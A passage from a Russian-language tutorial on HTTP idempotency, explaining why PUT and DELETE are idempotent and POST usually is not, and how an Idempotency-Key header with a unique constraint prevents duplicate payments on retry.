10 раз → пользователь имеет то же состояние

Поэтому PUT идемпотентен.

DELETE #

DELETE /users/42

После первого успешного запроса ресурс удалён. Повторное удаление не делает его «ещё более удалённым».

Почему POST обычно неидемпотентен #

POST /payments

{
  "amount": 100
}

Повторный запрос может создать второй платёж:

первый POST  → payment №1
второй POST  → payment №2

Это особенно опасно при retry:

сервер создал платёж
→ ответ потерялся
→ клиент повторил POST
→ создался дубликат

Как сделать POST идемпотентным #

Клиент отправляет уникальный ключ операции:

POST /payments
Idempotency-Key: 8d335fac-72c7-47a1-b16a-c3845f78e816

{
  "amount": 100
}

Backend сохраняет ключ и результат:

ключ новый
→ выполнить операцию
→ сохранить результат
→ выполнить операцию
→ сохранить результат

ключ уже существует
→ повторно операцию не выполнять
→ вернуть прежний результат

Для защиты нужна уникальность, например:

UNIQUE (user_id, idempotency_key)

Один ключ используется для повторных попыток одной операции. Для нового платежа нужен новый ключ.

Идемпотентность и retry #

Идемпотентность позволяет безопаснее повторять запрос после:

timeout
connection reset
502
503
504

Но важно помнить:

timeout
≠ операция не выполнилась

Сервер мог завершить операцию, а ответ потерялся. Поэтому для платежей, заказов и других критичных POST необходимы idempotency key или уникальный бизнес-идентификатор.

Идемпотентность и «ровно один раз» #

Идемпотентность не означает, что запрос физически выполнится только один раз.

запрос может прийти несколько раз
но бизнес-эффект применяется один раз

Это способ сделать повторную доставку безопасной.

Итог #

Идемпотентная операция:
повторение не меняет итог после первого выполнения

Установить значение
→ обычно идемпотентно

Увеличить значение
→ обычно неидемпотентно

GET, PUT, DELETE
→ идемпотентны по HTTP-семантике

POST
→ обычно нет, но его можно защитить Idempotency-Key